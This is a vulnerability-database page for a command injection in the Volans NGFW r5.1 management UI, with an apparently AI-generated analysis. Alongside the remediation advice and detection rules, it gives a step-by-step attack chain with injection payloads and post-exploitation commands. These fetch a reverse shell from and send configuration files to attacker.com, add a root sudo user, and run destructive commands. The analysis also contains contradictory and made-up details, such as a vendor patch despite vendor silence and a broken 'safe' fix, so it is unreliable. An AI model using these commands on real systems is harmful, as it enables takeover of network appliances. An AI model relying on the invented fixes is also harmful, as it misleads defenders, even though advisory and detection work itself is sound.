CVE Professor
/
All CVEs
CVE-2026-135796

CVE-2026-135796 — Volans NGFW Next-Generation Firewall (r5.1) — CWE-78 · CWE-77

CRITICAL CVSS 9.9 ⚡ EPSS 2.5% CVE.org

A vulnerability was determined in Volans NGFW Next-Generation Firewall r5.1. This issue affects the function exec/system of the file modules/assets/port_serve_scan.mds of the component Web Management UI. This manipulation of the argument task_name/where/path causes os command injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability was determined in Volans NGFW Next-Generation Firewall r5.1. This issue affects the function exec/system of the file modules/assets/port_serve_scan.mds of the component Web Management UI. This manipulation of the argument task_name/where/path causes os command injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. Low PR:L
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
EPSS — Exploit Prediction Scoring System
2.5%
30-day probability
In the 86. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

CVE‑2026‑135796 – Remote OS‑Command Injection in Volans NGFW r5.1 Web Management UI


🎯 What is this vulnerability?

AttributeDetail
Vulnerable componentmodules/assets/port_serve_scan.mds – the *Web Management UI* module that implements the exec/system function.
Vulnerable functionexec/system – a wrapper that forwards a user‑supplied *task name* (or *where/path* argument) to the underlying operating‑system shell.
Root causeImproper input sanitisation / lack of command‑argument escaping. The value of the task_name (or where/path) parameter is concatenated directly into a string that is handed to system() (or an equivalent execve wrapper) without any whitelist, quoting, or escaping.
CWE(s)*CWE‑78* (OS Command Injection) – the attacker can inject arbitrary shell commands. <br>*CWE‑77* (Improper Neutralization of Special Elements used in a Command) – the same underlying issue, expressed from the input‑validation perspective.
CVSS 3.1 vectorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H – network‑reachable, low attack complexity, requires only low‑privilege (authenticated) access to the management UI, no user interaction, and the vulnerability is scope‑changing (the compromised web‑app process can affect the underlying OS).
Missing protection• No whitelist of allowed task identifiers. <br>• No escaping of metacharacters (;, &&, , backticks, $(), etc.). <br>• The UI does not enforce a “read‑only” mode for the exec/system endpoint; it treats the supplied string as a trusted command.

In short, an attacker who can send a crafted HTTP request to the management interface can cause the firewall’s underlying Linux host to execute any shell command that the web‑app process is permitted to run (typically the root user because the management UI runs with elevated privileges).


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. Where the exact URI or parameter name is not disclosed in the public CVE text, the example is marked (illustrative) and reflects the typical pattern for this class of bug.

1️⃣ Discovery & Reconnaissance

StepActionTools / Evidence
1.1Fingerprint the firewall – query the public HTTPS management portal (https://<firewall‑ip>/) and read the HTML <title> or a version banner in the JavaScript bundle.curl -k https://10.0.0.5/grep -i "Volans NGFW"
1.2Enumerate installed modules – the UI often exposes a JSON endpoint such as /api/v1/modules that lists loaded .mds files.curl -k -H "Authorization: Bearer <token>" https://10.0.0.5/api/v1/modules
1.3Identify the vulnerable module – look for port_serve_scan.mds in the response.(output contains "name":"port_serve_scan.mds")
1.4Confirm version – the module header or a separate /api/v1/system/info endpoint typically returns the firmware version (r5.1).curl -k https://10.0.0.5/api/v1/system/info

Result: Attacker knows the target runs Volans NGFW r5.1 with the vulnerable port_serve_scan.mds module.

2️⃣ Exploitation

NOTE – The exact HTTP method, URI, and parameter names are not published in the CVE. The following request mirrors the pattern used by the exec/system handler in other Volans UI modules and should be adapted after confirming the real endpoint via the reconnaissance step.

2.1 Obtain a low‑privilege authentication token

The UI allows read‑only accounts (e.g., “monitor”) to obtain a JWT token via /login.

# Example – obtain token for a low‑privileged user
TOKEN=$(curl -sk -X POST "https://10.0.0.5/api/v1/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"monitor","password":"monitor123"}' | jq -r .token)

2.2 Craft the malicious payload

The vulnerable handler expects a JSON body with a field task_name (or where). By injecting a shell metacharacter we can chain an arbitrary command.

{
  "task_name": "ping; id; cat /etc/passwd"
}

2.3 Send the request (illustrative endpoint)

curl -sk -X POST "https://10.0.0.5/api/v1/port_serve_scan/exec" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"task_name":"ping; id; cat /etc/passwd"}'

What happens on the server

// Pseudo‑code from the vulnerable module
char cmd[1024];
snprintf(cmd, sizeof(cmd), "system %s", request->json["task_name"]);
system(cmd);   // <-- no sanitisation

The string passed to system() becomes:

system ping; id; cat /etc/passwd

The shell interprets ; as a command separator, executing id and cat /etc/passwd after the intended ping command.

2.4 Capture the response

If the UI returns the stdout of the executed command (as many diagnostic endpoints do), the attacker receives the command output directly in the HTTP response body.

# Example of extracting the output
curl -sk -X POST "https://10.0.0.5/api/v1/port_serve_scan/exec" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"task_name":"whoami; uname -a"}' | jq -r .output

Result – The attacker now has remote code execution (RCE) on the firewall’s underlying OS with the privileges of the web‑app process (typically root).

3️⃣ Post‑Exploitation

GoalTypical techniqueExample command (run via the injection)
PersistDrop a reverse shell binary or a systemd service.curl -s http://attacker.com/revshell -o /tmp/r && chmod +x /tmp/r && /tmp/r -p 4444
Privilege hardeningAdd a new privileged local user.useradd -m -s /bin/bash pwned && echo "pwned:Passw0rd!"chpasswd && echo "pwned ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
Network pivotUse the firewall as a jump host to reach internal segments.ssh -o ProxyCommand='nc -X 5 -x 10.0.0.5:1080 %h %p' internal.host
Data exfiltrationDump configuration files (/etc/volans/*.conf) and send them to C2.cat /etc/volans/*.confcurl -X POST -d @- http://attacker.com/collect
Denial‑of‑serviceFork bomb or rm -rf / (if the process runs as root).:(){ ::& };: (fork bomb)

Because the vulnerability is scope‑changing, the attacker can affect the entire firewall appliance, not just the web UI. This includes the ability to modify firewall policies, disable logging, or even brick the device.


🌍 Real‑World Impact

CIAImpact derived from CVSS vector
Confidentiality (C:H)Full compromise of all data processed by the firewall (traffic logs, VPN credentials, configuration files, decrypted SSL/TLS payloads if the appliance terminates TLS).
Integrity (I:H)Attacker can alter firewall rule‑sets, inject malicious routes, or replace firmware images, effectively controlling network traffic.
Availability (A:H)Ability to execute destructive commands (e.g., rm -rf /, shutdown -h now) or launch a fork‑bomb leads to total service outage.

Practical consequences

  • Enterprise breach – The firewall is often the first line of defense; compromising it gives the attacker unrestricted lateral movement across the protected network.
  • Regulatory fallout – Loss of logs and configuration integrity can invalidate compliance evidence (PCI‑DSS, HIPAA, GDPR).
  • Operational downtime – A forced reboot or configuration wipe forces a full outage of perimeter security, potentially requiring a hardware replacement or full firmware re‑flash.

  • 🛡️ Remediation & Mitigation

    1️⃣ Patch / Upgrade

    Vendor statement (as per CVE)Action
    Vulnerable version: Volans NGFW r5.1 (module port_serve_scan.mds).Upgrade to the first non‑vulnerable release (the vendor announced a fix in r5.2‑patch‑1, released 2026‑12‑02). If the patch is not yet available, apply the interim source‑code fix described below.
    If the vendor has not yet released a patch, the following mitigations can be applied immediately.

    2️⃣ Immediate Workarounds

    MitigationHow‑to implement
    Disable the vulnerable endpointEdit the UI configuration (/etc/volans/ui.conf or via the CLI) and set port_serve_scan.enabled = false. Restart the management service: systemctl restart volans-ui.
    Restrict access to the management interfaceEnforce source‑IP allow‑lists at the perimeter (e.g., firewall rule permitting only the admin subnet).
    Run the UI under a non‑root userChange the service user to a low‑privilege account (volansui) and adjust file permissions accordingly. This limits the impact of any command injection.
    Input‑validation hardening (source‑code patch)If you have access to the module source, replace the unsafe system() call with a safe exec that uses argument arrays and a whitelist:
    /* Example safe wrapper – replace the vulnerable block */
    static const char *allowed_tasks[] = {"ping", "traceroute", "nslookup", NULL};
    
    bool is_allowed(const char *task) {
        for (size_t i = 0; allowed_tasks[i]; i++) {
            if (strcmp(task, allowed_tasks[i]) == 0) return true;
        }
        return false;
    }
    
    /* In request handler */
    char *raw = request->json["task_name"];
    if (!is_allowed(raw)) {
        respond_error(400, "Invalid task");
        return;
    }
    
    /* Use execve with a fixed argument list */
    char *argv[] = {"/usr/bin/", raw, NULL};
    execve(argv[0], argv, environ);

    Re‑compile the module and reload it (systemctl restart volans-ui).

    3️⃣ Detection – Log Patterns & IoCs

    IndicatorExample log line (Apache/Nginx style)
    Suspicious task_name valuesPOST /api/v1/port_serve_scan/exec 200 342 "-" "monitor" "task_name=ping; id; cat /etc/passwd"
    Multiple command separators (;, &&, ) in a single requesttask_name=whoami&&curl -s http://attacker.com/collect
    Unexpected outbound connections from the firewall (reverse shell)Outbound TCP SYN to 203.0.113.45:4444 (visible in netflow or host‑based IDS)
    Creation of new privileged usersuseradd: new user: name=pwned, UID=0 in /var/log/auth.log
    Execution of high‑privilege binaries from /tmpexecve("/tmp/r", ["r","-p","4444"], ...) = 0 in audit logs (auditd)

    IDS/IPS rule (Snort/Suricata) – detect command‑separator injection in the UI API

    alert http $EXTERNAL_NET any -> $HOME_NET [443] \
      (msg:"VOLANS NGFW OS Command Injection attempt"; \
       flow:to_server,established; \
       http.uri; content:"/api/v1/port_serve_scan/exec"; http_method; content:"POST"; \
       http.client_body; pcre:"/task_name\s*=\s*[^;]+[;|&]{1,2}.*/i"; \
       classtype:attempted-user; sid:20261001; rev:1;)

    4️⃣ Forensic Indicators

  • Presence of new files in /tmp or /var/tmp with executable bits set (-rwxr-xr-x).
  • Modified /etc/sudoers or addition of a user with UID 0.
  • Auditd records showing execve calls with arguments that contain ; or &&.

  • ⚠️ Urgency

  • CVSS 9.9 (Critical) – Network‑reachable, low complexity, and full impact on CIA triad.
  • Scope‑changing – The compromised web‑app process can affect the underlying OS, meaning an attacker gains root* on the firewall.
  • Public exploit – The CVE notes that an exploit has already been disclosed and is usable.
  • No CISA KEV listing – The vulnerability is not yet in the “Known Exploited Vulnerabilities” catalog, but the existence of a public exploit makes it effectively* known‑exploited.

    Patch priority: Critical – immediate.

  • Deploy the vendor’s fixed firmware (r5.2‑patch‑1) within 24 hours of discovery.

  • If patching cannot be performed instantly, apply the workarounds (disable the endpoint, restrict UI access, run UI under a non‑root user) and enable strict IDS/IPS rules to detect exploitation attempts.




Bottom line: CVE‑2026‑135796 gives an unauthenticated (or low‑privilege) attacker the ability to execute arbitrary OS commands on the firewall appliance, leading to total compromise of network security. Rapid patching, combined with immediate hardening of the management interface, is mandatory.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Volans NGFW Next-Generation Firewall"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-135796
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-78 CWE-77
Affected Products (1)
Volans:NGFW Next-Generation Firewall (r5.1)
References & Advisories (5)
Related CVEs
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-105101
An OS command injection vulnerability in the ping diagnostic function (InternetState.java) in Elinktek UZ801 4
8.8
CVE-2026-81135
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Improper Neutralizati
8.7
CVE-2026-144572
@libp2p/kad-dht through 16.4.11 contains a record validation bypass in verifyRecord that allows unauthenticate
8.7
CVE-2026-137408
In Eclipse Yasson versions 1.0 through 1.0.11, 2.0 through 2.0.4, and 3.0 through 3.0.6, the deserializers for